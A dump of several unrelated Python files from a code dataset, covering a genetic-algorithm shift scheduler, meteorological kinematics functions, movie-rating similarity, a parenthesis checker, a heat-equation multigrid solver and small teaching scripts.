-----------------------Randomize gene---------------------------------------#\n    if (is_new):      \n        shift_list = np.flip(shift_df.index.values.tolist())   \n        for prs in chromosom_df.index :       \n            chromosom_df.loc[prs] = np.random.choice(shift_list,\n                                                     p=[1/14,1/14,1/14,\n                                                        1/14,2/14,3/14,5/14],\n                                                     size=len(chromosom_df.columns)\n                                                     )    \n    # ---------------------- calcute typid_req_day--------------------------------#\n    req_day = day_req_df.reset_index()\n    typid_req_day = req_day.groupby(['Day','prs_typ_id','ShiftTypeID']).agg(\n                    ReqMinCount = pd.NamedAgg(column='ReqMinCount', \n                                              aggfunc='sum'),\n                    ReqMaxCount = pd.NamedAgg(column='ReqMaxCount', \n                                              aggfunc='sum')\n                    )\n    typid_req_day['ReqMean'] = (typid_req_day['ReqMaxCount']+ \n                                typid_req_day['ReqMinCount'])/2   \n    # ---------------------- Calcute diff require and resource--------------------# \n                        #---------------sum_typid_req---------------#\n    sum_typid_req = typid_req_day.reset_index()          \n    sum_typid_req = sum_typid_req.groupby('prs_typ_id').agg(\n                req_min  = pd.NamedAgg(column='ReqMinCount', \n                                              aggfunc='sum'), \n                req_max = pd.NamedAgg(column='ReqMaxCount', \n                                              aggfunc='sum'),\n                req_mean= pd.NamedAgg(column='ReqMean', \n                                              aggfunc='sum'),            \n            )\n    sum_typid_req = sum_typid_req[:]*480\n                         #--------------sum_typid_prs----------------#\n    sum_typid_prs = personnel_df.groupby('prs_typ_id').agg(\n                all_rec  = pd.NamedAgg(column='RequirementWorkMins_esti', \n                                              aggfunc='sum'), \n                count_prs = pd.NamedAgg(column='RequirementWorkMins_esti', \n                                              aggfunc='count'),\n            )\n                         #--------------sum_typid_prs----------------#\n    diff_req_rec = sum_typid_req.join(sum_typid_prs,how='inner')                   \n    diff_req_rec['diff_min'] = (diff_req_rec['req_min'] - \n                                diff_req_rec['all_rec'] )/diff_req_rec['count_prs'] \n    diff_req_rec['diff_max'] = (diff_req_rec['req_max'] - \n                                diff_req_rec['all_rec'] )/diff_req_rec['count_prs'] \n    diff_req_rec['diff_mean'] = (diff_req_rec['req_mean'] - \n                                diff_req_rec['all_rec'] )/diff_req_rec['count_prs']\n    #diff_req_rec = diff_req_rec.reset_index()\n    #------------------------ Consttraint day_const function for day -------------# \n    def calc_day_const (individual,meta_data):  \n        df = individual           \n        df = df[df['Length']>0].groupby(['Day',\n                                         'prs_typ_id',\n                                         'ShiftTypeID']).agg(\n                            prs_count = pd.NamedAgg(column='Length', \n                                              aggfunc='count'), \n                            prs_points = pd.NamedAgg(column='EfficiencyRolePoint', \n                                              aggfunc='sum'),\n                            )\n        df = df.merge(meta_data, left_on=['Day','prs_typ_id','ShiftTypeID'], \n                      right_on=['Day','prs_typ_id','ShiftTypeID'], how='right') \n        df.fillna(0,inplace=True)\n        df['diff_max'] = abs(df['prs_count'] - df['ReqMaxCount'])\n        df['diff_min'] = abs(df['prs_count'] - df['ReqMinCount'])  \n        df['diff'] = df[['diff_max','diff_min']].apply(np.min, axis=1)\n        df['diff_norm'] = df['diff']/df['ReqMaxCount']\n    #    cost = np.mean(df['diff_norm'])\n        df['diff_norm'] = df['diff_norm']**2\n        cost = np.sum(df['diff_norm']) / len(df)\n    #    cost = np.max(df['diff_norm']) / len(df)\n    #    print('cost: ' + str(cost))\n        return cost\n    \n    #------------------------ Consttraint prs_const function for day -------------# \n    def calc_prs_const (individual, meta_data):\n        df = individual    \n        df = df.groupby(['PersonnelBaseId',\n                          'prs_typ_id',\n                          'EfficiencyRolePoint',\n                          'RequirementWorkMins_esti',                      \n                         ]).sum().drop(columns=['ShiftCode', 'StartTime', \n                                                'EndTime', 'ShiftTypeID'])    \n        df = df.reset_index()\n        meta_data = meta_data.reset_index()\n        df = df.merge(meta_data, left_on='prs_typ_id', right_on='prs_typ_id'\n                      ,how='inner')\n        \n        df['diff'] = abs(df['RequirementWorkMins_esti'] + \n                         df['diff_min'] - df['Length'])         \n        df['diff_norm'] = df['diff']/df['RequirementWorkMins_esti']\n    #    cost = np.mean(df['diff_norm'])    \n        df['diff_norm'] = df['diff_norm']**2\n        cost = np.sum(df['diff_norm']) / len(df)\n    #    print('cost: ' + str(cost))\n        return cost \n    #------------------------ Objective prs_req function for prs req -------------# \n    def calc_prs_req_cost (individual,meta_data):  \n        df = individual     \n        df['Assigned'] = 1\n        df_req = meta_data.merge(df,  \n                                 left_on =['PersonnelBaseId','Day','ShiftTypeID'],\n                                 right_on=['PersonnelBaseId','Day','ShiftTypeID'],\n                                 how='left'\n                                )\n        df_req = df_req.fillna(-1)\n        \n        df_req['cost'] = df_req['Assigned']*df_req['Value']\n    \n        return 0\n    \n    # ----------------------- fitness all ----------------------------------------#\n    def fitness (individual, meta_data):\n        sht = shift_df.reset_index()\n        sht_2 = sht[sht['ShiftCode']>10]\n        sht_2['Length'] = sht_2['Length'] // 2\n        sht_2['ShiftTypeID'] = sht_2['ShiftTypeID'] // 10\n        sht_2.index = [7,8,9]\n        sht['Length'] = sht['Length'] // 2\n        sht['ShiftTypeID'] = sht['ShiftTypeID'] % 10\n        sht = sht.append(sht_2)\n        #sht[sht['ShiftCode']>10]\n        df = pd.melt(individual.reset_index(), \n                     id_vars=['PersonnelBaseId',\n                              'prs_typ_id',\n                              'EfficiencyRolePoint',\n                              'RequirementWorkMins_esti',\n                              \n                             ],\n                     var_name='Day', \n                     value_name='ShiftCode')\n        df = df.merge(sht, left_on='ShiftCode', right_on='ShiftCode', how='inner')\n        day_const = 0.8*calc_day_const(df, typid_req_day)\n        prs_const = 0.2*calc_prs_const(df, diff_req_rec)\n        prs_req_cost = calc_prs_req_cost(df, prs_req_df)\n        cost = day_const + prs_const\n        return cost\n    # -----------------------Define GA--------------------------------------------#        \n    ga = GA_dataframes.GeneticAlgorithm( seed_data=chromosom_df,\n                              meta_data=shift_df,\n                              population_size=50,\n                              generations=200,\n                              crossover_probability=0.8,\n                              mutation_probability=0.2,\n                              elitism=True,\n                              by_parent=by_parent,\n                              maximise_fitness=False)\n     \n     # ----------------------- run ga --------------------------------------------# \n    ga.fitness_function = fitness         # set the GA's fitness function\n    start_time = gmtime()\n    ga.run()                                    # run the GA\n    end_time = gmtime()\n    time_consum_hour   = end_time[3] - start_time[3]\n    time_consum_minute = end_time[4] - start_time[4]\n    time_consum_second = end_time[5] - start_time[5]\n    print('time_consum : ' + str(time_consum_hour) + ':'+ \n                             str(time_consum_minute) + ':'+ \n                             str(time_consum_second)\n                            )\n    sol_fitness, sol_df = ga.best_individual()\n    sol_tbl = sol_df.stack()\n    sol_tbl = sol_tbl.reset_index()\n    \n    sol_tbl['Rank'] = 1\n    sol_tbl['Cost'] = sol_fitness\n    sol_tbl['EndTime'] =  strftime('%Y-%m-%d %H:%M:%S')\n    sol_tbl['UsedParentCount'] =  0\n    sol_tbl['WorkSectionId'] = work_sction_id\n    sol_tbl['YearWorkingPeriod'] = year_working_period\n    sol_tbl = sol_tbl.drop(columns=['prs_typ_id', \n                                    'EfficiencyRolePoint', \n                                    'RequirementWorkMins_esti'])\n    sol_tbl = sol_tbl.values.tolist()\n    # ----------------------- inserting ------------------------------------------# \n    #db.delete_last_sol(work_sction_id,year_working_period)\n    db.insert_sol(sol_tbl, personnel_df, \n                  sol_fitness,work_sction_id,year_working_period,\n                  parent_rank)\n    #-------------------- output show --------------------------------------------#\n    #########################################################\n    sht = shift_df.reset_index()\n    sht_2 = sht[sht['ShiftCode']>10]\n    sht_2['Length'] = sht_2['Length'] // 2\n    sht_2['ShiftTypeID'] = sht_2['ShiftTypeID'] // 10\n    sht_2.index = [7,8,9]\n    sht['Length'] = sht['Length'] // 2\n    sht['ShiftTypeID'] = sht['ShiftTypeID'] % 10\n    sht = sht.append(sht_2)\n    df = pd.melt(sol_df.reset_index(), \n                 id_vars=['PersonnelBaseId',\n                          'prs_typ_id',\n                          'EfficiencyRolePoint',\n                          'RequirementWorkMins_esti',\n                         \n                         ],\n                 var_name='Day', \n                 value_name='ShiftCode')\n    df = df.merge(sht, left_on='ShiftCode', right_on='ShiftCode', how='inner')\n    #######################################################\n    cons_prs = df.groupby(['PersonnelBaseId',\n                          'prs_typ_id',\n                          'EfficiencyRolePoint',\n                          'RequirementWorkMins_esti',\n                          \n                         ]).sum().drop(columns=['ShiftCode', 'StartTime', \n                                                'EndTime', 'ShiftTypeID'])\n    cons_prs = cons_prs.reset_index(level=3)\n    cons_prs['diff'] = (cons_prs['RequirementWorkMins_esti'] - cons_prs['Length'])\n    #########################################################3\n    \n    cons_day = df[df['Length']>0].groupby(['Day',\n                                           'prs_typ_id',\n                                           'ShiftTypeID']).agg(\n                                  prs_count = pd.NamedAgg(column='Length', \n                                              aggfunc='count'), \n                                  prs_points = pd.NamedAgg(column='EfficiencyRolePoint', \n                                              aggfunc='sum'),\n                                )\n                                  \n    cons_day = cons_day.merge(typid_req_day, \n                              left_on=['Day','prs_typ_id','ShiftTypeID'], \n                              right_on=['Day','prs_typ_id','ShiftTypeID'], \n                              how='right') \n    cons_day.fillna(0,inplace=True)            \n    cons_day['diff_max'] = abs(cons_day['prs_count'] - cons_day['ReqMaxCount'])\n    cons_day['diff_min'] = abs(cons_day['prs_count'] - cons_day['ReqMinCount'])  \n    cons_day['diff'] = cons_day[['diff_max','diff_min']].apply(np.min, axis=1) \n    cons_day.sort_index(axis=0, level=[0,1,2], ascending=True, inplace=True)\n    \nif __name__ == \"__main__\":\n    work_sction_id = int(sys.argv[1])\n    year_working_period = int(sys.argv[2])\n    prs_day_alg(work_sction_id=work_sction_id,\n                year_working_period=year_working_period)","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":19645,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"38371512","text":"# Copyright (c) 2008-2015 MetPy Developers.\n# Distributed under the terms of the BSD 3-Clause License.\n# SPDX-License-Identifier: BSD-3-Clause\n\nfrom __future__ import division\nimport numpy as np\nfrom ..package_tools import Exporter\nfrom ..constants import g\nfrom ..units import atleast_2d, concatenate, units\n\nexporter = Exporter(globals())\n\n\ndef _gradient(f, *args, **kwargs):\n    if len(args) < f.ndim:\n        args = list(args)\n        args.extend([units.Quantity(1., 'dimensionless')] * (f.ndim - len(args)))\n    grad = np.gradient(f, *args, **kwargs)\n    if f.ndim == 1:\n        return units.Quantity(grad, f.units / args[0].units)\n    return [units.Quantity(g, f.units / dx.units) for dx, g in zip(args, grad)]\n\n\ndef _stack(arrs):\n    return concatenate([a[np.newaxis] for a in arrs], axis=0)\n\n\ndef _get_gradients(u, v, dx, dy):\n    # Helper function for getting convergence and vorticity from 2D arrays\n    dudx, dudy = _gradient(u, dx, dy)\n    dvdx, dvdy = _gradient(v, dx, dy)\n    return dudx, dudy, dvdx, dvdy\n\n\n@exporter.export\ndef v_vorticity(u, v, dx, dy):\n    r'''Calculate the vertical vorticity of the horizontal wind.\n\n    The grid must have a constant spacing in each direction.\n\n    Parameters\n    ----------\n    u : (X, Y) ndarray\n        x component of the wind\n    v : (X, Y) ndarray\n        y component of the wind\n    dx : float\n        The grid spacing in the x-direction\n    dy : float\n        The grid spacing in the y-direction\n\n    Returns\n    -------\n    (X, Y) ndarray\n        vertical vorticity\n\n    See Also\n    --------\n    h_convergence, convergence_vorticity\n    '''\n\n    _, dudy, dvdx, _ = _get_gradients(u, v, dx, dy)\n    return dvdx - dudy\n\n\n@exporter.export\ndef h_convergence(u, v, dx, dy):\n    r'''Calculate the horizontal convergence of the horizontal wind.\n\n    The grid must have a constant spacing in each direction.\n\n    Parameters\n    ----------\n    u : (X, Y) ndarray\n        x component of the wind\n    v : (X, Y) ndarray\n        y component of the wind\n    dx : float\n        The grid spacing in the x-direction\n    dy : float\n        The grid spacing in the y-direction\n\n    Returns\n    -------\n    (X, Y) ndarray\n        The horizontal convergence\n\n    See Also\n    --------\n    v_vorticity, convergence_vorticity\n    '''\n\n    dudx, _, _, dvdy = _get_gradients(u, v, dx, dy)\n    return dudx + dvdy\n\n\n@exporter.export\ndef convergence_vorticity(u, v, dx, dy):\n    r'''Calculate the horizontal convergence and vertical vorticity of the\n    horizontal wind.\n\n    The grid must have a constant spacing in each direction.\n\n    Parameters\n    ----------\n    u : (X, Y) ndarray\n        x component of the wind\n    v : (X, Y) ndarray\n        y component of the wind\n    dx : float\n        The grid spacing in the x-direction\n    dy : float\n        The grid spacing in the y-direction\n\n    Returns\n    -------\n    convergence, vorticity : tuple of (X, Y) ndarrays\n        The horizontal convergence and vertical vorticity, respectively\n\n    See Also\n    --------\n    v_vorticity, h_convergence\n\n    Notes\n    -----\n    This is a convenience function that will do less work than calculating\n    the horizontal convergence and vertical vorticity separately.\n    '''\n\n    dudx, dudy, dvdx, dvdy = _get_gradients(u, v, dx, dy)\n    return dudx + dvdy, dvdx - dudy\n\n\n@exporter.export\ndef advection(scalar, wind, deltas):\n    r'''Calculate the advection of a scalar field by the wind.\n\n    The order of the dimensions of the arrays must match the order in which\n    the wind components are given.  For example, if the winds are given [u, v],\n    then the scalar and wind arrays must be indexed as x,y (which puts x as the\n    rows, not columns).\n\n    Parameters\n    ----------\n    scalar : N-dimensional array\n        Array (with N-dimensions) with the quantity to be advected.\n    wind : sequence of arrays\n        Length N sequence of N-dimensional arrays.  Represents the flow,\n        with a component of the wind in each dimension.  For example, for\n        horizontal advection, this could be a list: [u, v], where u and v\n        are each a 2-dimensional array.\n    deltas : sequence\n        A (length N) sequence containing the grid spacing in each dimension.\n\n    Returns\n    -------\n    N-dimensional array\n        An N-dimensional array containing the advection at all grid points.\n    '''\n\n    # This allows passing in a list of wind components or an array\n    wind = _stack(wind)\n\n    # Gradient returns a list of derivatives along each dimension.  We convert\n    # this to an array with dimension as the first index\n    grad = _stack(_gradient(scalar, *deltas))\n\n    # Make them be at least 2D (handling the 1D case) so that we can do the\n    # multiply and sum below\n    grad, wind = atleast_2d(grad, wind)\n\n    return (-grad * wind).sum(axis=0)\n\n\n@exporter.export\ndef geostrophic_wind(heights, f, dx, dy):\n    r'''Calculate the geostrophic wind given from the heights or geopotential.\n\n    Parameters\n    ----------\n    heights : (x,y) ndarray\n        The height field, given with leading dimensions of x by y.  There\n        can be trailing dimensions on the array.\n    f : array_like\n        The coriolis parameter.  This can be a scalar to be applied\n        everywhere or an array of values.\n    dx : scalar\n        The grid spacing in the x-direction\n    dy : scalar\n        The grid spacing in the y-direction\n\n    Returns\n    -------\n    A 2-item tuple of arrays\n        A tuple of the u-component and v-component of the geostrophic wind.\n    '''\n\n    if heights.dimensionality['[length]'] == 2.0:\n        norm_factor = 1. / f\n    else:\n        norm_factor = g / f\n\n    # If heights is has more than 2 dimensions, we need to pass in some dummy\n    # grid deltas so that we can still use np.gradient.  It may be better to\n    # to loop in this case, but that remains to be done.\n    deltas = [dx, dy]\n    if heights.ndim > 2:\n        deltas = deltas + [units.Quantity(1., units.m)] * (heights.ndim - 2)\n\n    grad = _gradient(heights, *deltas)\n    dx, dy = grad[0], grad[1]  # This throws away unused gradient components\n    return -norm_factor * dy, norm_factor * dx\n","sub_path":"metpy/calc/kinematics.py","file_name":"kinematics.py","file_ext":"py","file_size_in_byte":6124,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"381088533","text":"from random import randint\n\nimport pandas as pd\nimport numpy as np\nimport math\n\ntrain_csv = pd.read_csv('data/training_ratings.csv')\ntest_csv = pd.read_csv('data/test_ratings.csv')\nmovie_csv = pd.read_csv('data/movies.csv')\n\n# train_csv = pd.read_csv('../data/training_ratings_trimmed.csv')\n# test_csv = pd.read_csv('../data/test_ratings_trimmed.csv')\n# movie_csv = pd.read_csv('../data/movies_trimmed.csv')\n\n# calculate the mean rating for each movie.\n# Means table contains columns:\n# movieId, rating_mean\nMeans = train_csv.groupby(['movieId'], as_index=False).mean().rename(columns={'rating': 'rating_mean'})[\n    ['movieId', 'rating_mean']]\n\ntable_similarities = pd.DataFrame(columns = ['movieId_i', 'movieId_j', 'similarity'])\n\nfor index_movie_i in range(movie_csv.shape[0]):\n    if index_movie_i % 10 == 0:\n        print(index_movie_i)\n\n    row_movie_i = movie_csv.loc[index_movie_i, :]\n    movieId_i = int(row_movie_i[\"movieId\"])\n    movieId_i_rating_mean = Means[Means[\"movieId\"] == movieId_i][\"rating_mean\"]\n\n    users_rated_movie_i = train_csv[train_csv['movieId'] == movieId_i][[\"userId\"]]\n\n    for index_movie_j in range(index_movie_i + 1, movie_csv.shape[0]):\n        row_movie_j = movie_csv.loc[index_movie_j, ]\n        movieId_j = int(row_movie_j[\"movieId\"])\n\n        if movieId_j == movieId_i:\n            break\n        else:\n            movieId_j_rating_mean = Means[Means[\"movieId\"] == movieId_j][\"rating_mean\"]\n\n            users_rated_movie_j = train_csv[train_csv['movieId'] == movieId_j][[\"userId\"]]\n\n            users_rated_both_i_and_j = pd.merge(users_rated_movie_i, users_rated_movie_j, how=\"inner\", on=\"userId\")[[\"userId\"]]\n\n            if(users_rated_both_i_and_j.shape[0] == 0):\n                break\n            else:\n                numerator = 0\n                denominator_left = 0\n                denominator_right = 0\n\n                ratings_of_movie_i = train_csv[train_csv['movieId'] == movieId_i]\n                ratings_of_movie_j = train_csv[train_csv['movieId'] == movieId_j]\n\n                for index3, user in users_rated_both_i_and_j.iterrows():\n                    userId = int(user[\"userId\"])\n\n                    rating_of_movie_i_by_this_user = int( ratings_of_movie_i[ratings_of_movie_i['userId'] == userId] [\"rating\"] )\n                    rating_of_movie_j_by_this_user = int( ratings_of_movie_j[ratings_of_movie_j['userId'] == userId] [\"rating\"] )\n\n                    Rui_minus_mean_Ri = float(rating_of_movie_i_by_this_user - movieId_i_rating_mean)\n                    Ruj_minus_mean_Rj = float(rating_of_movie_j_by_this_user - movieId_j_rating_mean)\n                    numerator += float((Rui_minus_mean_Ri) * (Ruj_minus_mean_Rj))\n\n                    denominator_left += float(Rui_minus_mean_Ri * Rui_minus_mean_Ri)\n                    denominator_right += float(Ruj_minus_mean_Rj * Ruj_minus_mean_Rj)\n                # end for\n\n                similarity = 0\n                if numerator == 0:\n                    similarity = 0\n                else:\n                    sqrt_denominator_left = float(np.sqrt(denominator_left))\n                    sqrt_denominator_right = float(np.sqrt(denominator_right))\n\n                    denominator = float(sqrt_denominator_left * sqrt_denominator_right)\n                    if(denominator == 0):\n                        similarity = 0\n                    else:\n                        similarity = numerator / denominator\n                table_similarities.loc[table_similarities.shape[0]+1] = [movieId_i, movieId_j, similarity]\n    #end for\n#end for\ntable_similarities.to_csv('outcome/similarities.csv', index=None, header=True)\n","sub_path":"calculate_similarity.py","file_name":"calculate_similarity.py","file_ext":"py","file_size_in_byte":3632,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"548086617","text":"# coding: utf8\n\n# Как только вы соглашаетесь, что стек является подходящей структурой данных для хранения скобок, шаги алгоритма \n# становятся очевидными. Начиная с пустого стека, строка скобок обрабатывается слева направо. \n# Если символ - открывающая скобка, то она кладётся в стек, как напоминание, что соответствующий \n# закрывающий знак должен появиться позже. С другой стороны, если символ - закрывающая скобка, \n# то из стека выталкивается верхний элемент. До тех пор, пока будет происходить выталкивание \n# для соотнесения каждого закрывающего символа, скобки будут сбалансированными. \n# Если в какой-то момент в стеке не окажется открывающей скобки для связи с закрывающим символом, \n# то строка является несбалансированной. В конце, когда будут обработаны все символы, стек должен быть пуст.\nfrom stacks import Stack\n\ndef parChecker(symbolString):\n    s = Stack()\n    balanced = True\n    index = 0\n    while index < len(symbolString) and balanced:\n        symbol = symbolString[index]\n        if symbol == \"(\":\n            s.push(symbol)\n        else:\n            if s.isEmpty():\n                balanced = False\n            else:\n                s.pop()\n\n        index = index + 1\n\n    if balanced and s.isEmpty():\n        return True\n    else:\n        return False\nprint(parChecker('(())))(('))\nprint(parChecker('())'))\n","sub_path":"data structures/parenthesis_check.py","file_name":"parenthesis_check.py","file_ext":"py","file_size_in_byte":1968,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"285830098","text":"# coding=utf-8\n\"\"\"\n.. moduleauthor:: Torbjörn Klatt <t.kaltt@fz-juelich.de>\n.. moduleauthor:: Dieter Moser <d.moser@fz-juelich.de>\n\"\"\"\nimport numpy as np\n\nfrom pypint.plugins.multigrid.i_transient_multigrid_problem import ITransientMultigridProblem\nfrom pypint.plugins.multigrid.i_multigrid_level import IMultigridLevel\nfrom pypint.plugins.multigrid.stencil import Stencil\nfrom pypint.utilities import assert_named_argument, assert_is_key, assert_is_instance\nfrom pypint.utilities.logging import LOG, this_got_called\n\n\nclass HeatEquation(ITransientMultigridProblem):\n    \"\"\"A parabolic partial differential equation in two spacial dimensions\n\n    Also known as the 2D-Heat-Equation:\n\n    .. math::\n\n        \\\\frac{\\\\partial u(x,y,t)}{\\\\partial t} = \\\\alpha \\\\laplace u(x,y,t)\n\n    with the thermal diffusivity :math:`\\\\alpha`.\n    \"\"\"\n    def __init__(self, *args, **kwargs):\n        super(HeatEquation, self).__init__(*args, **kwargs)\n\n        # HasExactSolutionMixin.__init__(self, *args, **kwargs)\n\n        self._thermal_diffusivity = kwargs.get('thermal_diffusivity', 1.0)\n\n        if self.time_start is None:\n            self.time_start = 0.0\n        if self.time_end is None:\n            self.time_end = 1.0\n        if self.initial_value is None:\n            self.initial_value = np.zeros(self.dim_for_time_solver)\n\n        if isinstance(self.thermal_diffusivity, complex):\n            self.numeric_type = np.complex\n\n        self._mg_stencil = kwargs.get('mg_stencil')\n        self._mg_level = kwargs.get('mg_level')\n        self._direct_solvers = {}\n\n        if kwargs.get('delta_times_for_time_levels') is not None and self._mg_level is not None:\n            assert_is_instance(kwargs['delta_times_for_time_levels'], (list, np.ndarray),\n                               descriptor=\"Delta Times for Time Levels\", checking_obj=self)\n            for time_level in kwargs['delta_times_for_time_levels']:\n                assert_is_instance(kwargs['delta_times_for_time_levels'][time_level], (list, np.ndarray),\n                                   descriptor=\"Delta Times for Time Level %d\" % time_level, checking_obj=self)\n                for delta_time in kwargs['delta_times_for_time_levels'][time_level]:\n                    self.initialize_direct_space_solver(time_level, delta_time, kwargs['mg_level'])\n\n    @property\n    def thermal_diffusivity(self):\n        return self._thermal_diffusivity\n\n    @thermal_diffusivity.setter\n    def thermal_diffusivity(self, value):\n        self._thermal_diffusivity = value\n\n    def evaluate_wrt_time(self, time, phi_of_time, **kwargs):\n        # this_got_called(self, time=time, phi_of_time=phi_of_time, **kwargs)\n        # LOG.debug(\" using Stencil: %s\" % self._mg_stencil.arr)\n        if kwargs.get('partial'):\n            if kwargs['partial'] == \"impl\":\n                self._mg_level.mid[:] = phi_of_time.reshape(-1)\n                _padded_phi = self._mg_level.evaluable_view(self._mg_stencil)\n                _out = self._mg_stencil.eval_convolve(_padded_phi)\n                # LOG.debug(\" --> %s\" % _out.reshape(phi_of_time.shape))\n                return _out.reshape(phi_of_time.shape)\n            else:\n                # LOG.debug(\" --> zeros\")\n                return np.zeros(phi_of_time.shape)\n        else:\n            self._mg_level.mid[:] = phi_of_time.reshape(-1)\n            _padded_phi = self._mg_level.evaluable_view(self._mg_stencil)\n            _out = self._mg_stencil.eval_convolve(_padded_phi)\n            # LOG.debug(\" --> %s\" % _out.reshape(phi_of_time.shape))\n            return _out.reshape(phi_of_time.shape)\n\n    def mg_stencil(self, delta_time, delta_space):\n        _stencil = np.array(\n            [\n                -1.0 * delta_time * self.thermal_diffusivity / (delta_space**2),\n                ((2.0 * delta_time * self.thermal_diffusivity) / (delta_space**2)) + 1.0,\n                -1.0 * delta_time * self.thermal_diffusivity / (delta_space**2)\n            ]\n        )\n        return _stencil\n\n    def initialize_direct_space_solver(self, time_level, delta_time, mg_level=None):\n        if mg_level is None:\n            mg_level = self._mg_level\n        assert_is_instance(mg_level, IMultigridLevel, descriptor=\"Multigrid Level\", checking_obj=self)\n        _stencil = Stencil(self.mg_stencil(delta_time, mg_level.h))\n        # LOG.debug(\"Stencil for dt=%f, h=%f: %s\" % (delta_time, mg_level.h, _stencil.arr))\n        time_level = str(time_level)\n        delta_time = str(delta_time)\n        if self._direct_solvers.get(time_level) is None:\n            # LOG.debug(\"Initializing Solvers for Time Level '%s'\" % time_level)\n            self._direct_solvers[time_level] = {}\n        # LOG.debug(\"  Initializing Solver for Time Level '%s' and Delta Node '%s'\" % (time_level, delta_time))\n        # LOG.debug(\"    shape: %s\" % (mg_level.mid.shape))\n        self._direct_solvers[time_level][delta_time] = {\n            'mg_level': mg_level,\n            'stencil': _stencil,\n            'solver': _stencil.generate_direct_solver(mg_level.mid.shape)\n        }\n\n    def implicit_solve(self, next_x, func, method=\"direct\", **kwargs):\n        \"\"\"Space-Solver for the Heat Equation\n\n        Parameters\n        ----------\n        next_x : :py:class:`numpy.ndarray`\n            initial value for the MG solver\n        func :\n            *unused*\n        method : :py:class:`str`\n            method specifying the space solver;\n            one of ``mg`` or ``direct`` (default)\n        time_level : :py:class:`int`\n            time level in MLSDC-notation (i.e. 0 is base level of MLSDC)\n        delta_time : :py:class:`float`\n            distance from the previous to currently calculated time node\n        \"\"\"\n        # this_got_called(self, next_x=next_x, func=func, **kwargs)\n        assert_named_argument('expl_term', kwargs, types=np.ndarray, descriptor=\"RHS for Space Solver\",\n                              checking_obj=self)\n        # assert_named_argument('time_level', kwargs, types=int, descriptor=\"Time Level\", checking_obj=self)\n        if kwargs.get('time_level') is None:\n            kwargs['time_level'] = 0\n        time_level = str(kwargs['time_level'])\n        assert_named_argument('delta_time', kwargs, types=float, descriptor=\"Delta Time Node\", checking_obj=self)\n        delta_time = str(kwargs['delta_time'])\n        # assert_is_key(time_level, self._direct_solvers, key_desc=\"Time Level\", dict_desc=\"Direct Solvers\",\n        #               checking_obj=self)\n        # assert_is_key(delta_time, self._direct_solvers[time_level],\n        #               key_desc=\"Delta Time '%s'\" % delta_time,\n        #               dict_desc=\"Direct Solvers for Time Level '%s'\" % 'time_level', checking_obj=self)\n        if time_level not in self._direct_solvers or delta_time not in self._direct_solvers[time_level]:\n            self.initialize_direct_space_solver(kwargs['time_level'], kwargs['delta_time'])\n        _this_set = self._direct_solvers[time_level][delta_time]\n        _this_set['mg_level'].rhs = kwargs['expl_term']\n        # LOG.debug(\"initial RHS: %s\" % _this_set['mg_level'].rhs)\n        _this_set['stencil'].modify_rhs(_this_set['mg_level'])\n        # LOG.debug(\"modified RHS: %s\" % _this_set['mg_level'].rhs)\n        # LOG.debug(\"Stencil: %s\" % _this_set['stencil'].arr)\n\n        _sol = self.mg_solve(next_x,\n                             rhs=_this_set['mg_level'].rhs,\n                             method=self._implicit_solve_method,\n                             solver=_this_set['solver'],\n                             stencil_fnc=lambda level: self.mg_stencil(kwargs['delta_time'], level.h))\n\n        # LOG.debug(\"Implicit Solve => %s\" % _sol)\n        _this_set['mg_level'].mid[:] = _sol.reshape(-1)\n        # _padded_sol = _this_set['mg_level'].evaluable_view(_this_set['stencil'])\n        _sp_matrix = _this_set['stencil'].to_sparse_matrix(self.spacial_dim)\n        # LOG.debug(\"Check with Sparse Matrix %s:\" % _sp_matrix.todense())\n        # LOG.debug(\"  ==> %s\" % _sp_matrix.dot(_sol.reshape(-1)).reshape(_sol.shape))\n        return _sol\n\n    def print_lines_for_log(self):\n        _lines = super(HeatEquation, self).print_lines_for_log()\n        _lines['Formula'] = r\"d u(x,t) / dt = \\alpha \\laplace u(x,t)\"\n        _lines['Coefficients'] = {\n            r'\\alpha': self.thermal_diffusivity\n        }\n        return _lines\n\n    def __str__(self):\n        return r\"\\partial u(x,t) / \\partial t = \\alpha \\laplace u(x,t), \\alpha=%s\" % self.thermal_diffusivity\n\n\n__all__ = ['HeatEquation']\n","sub_path":"examples/problems/heat_equation.py","file_name":"heat_equation.py","file_ext":"py","file_size_in_byte":8491,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"399249283","text":"from urllib import request\n\n\ndef fetch_words():\n\twith request.urlopen('http://sixty-north.com/c/t.txt') as story:\n\t\tstory_words=[]\n\t\tfor line in story:\n\t\t\tline_words=line.decode('utf-8').split()\n\t\t\tfor word in line_words:\n\t\t\t\tstory_words.append(word)\n\treturn story_words\n\n\t\ndef print_words(story_words):\n\tfor word in story_words:\n\t\tprint(word)\n\n\ndef main():\n\twords=fetch_words()\n\tprint_words(words)\n\n#run the script from the command line\nif __name__=='__main__':\n\tmain()","sub_path":"words.py","file_name":"words.py","file_ext":"py","file_size_in_byte":470,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"574476800","text":"word = ' '\nwordlist = []\nindex = 0\nwhile word != '':\n    word = input('Enter a Word (enter nothing to continue): ')\n    if word == '':\n        for i in range(1,len(wordlist)+1):\n            print(wordlist[i-1])\n    elif word[0] in word[1:]:\n        wordlist += ['']\n        wordlist[index] = word\n        index += 1\n\n\n","sub_path":"15Fall/1133 Intro to Programming Concepts/Python Labs/Lab 5/l5 st.py","file_name":"l5 st.py","file_ext":"py","file_size_in_byte":318,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
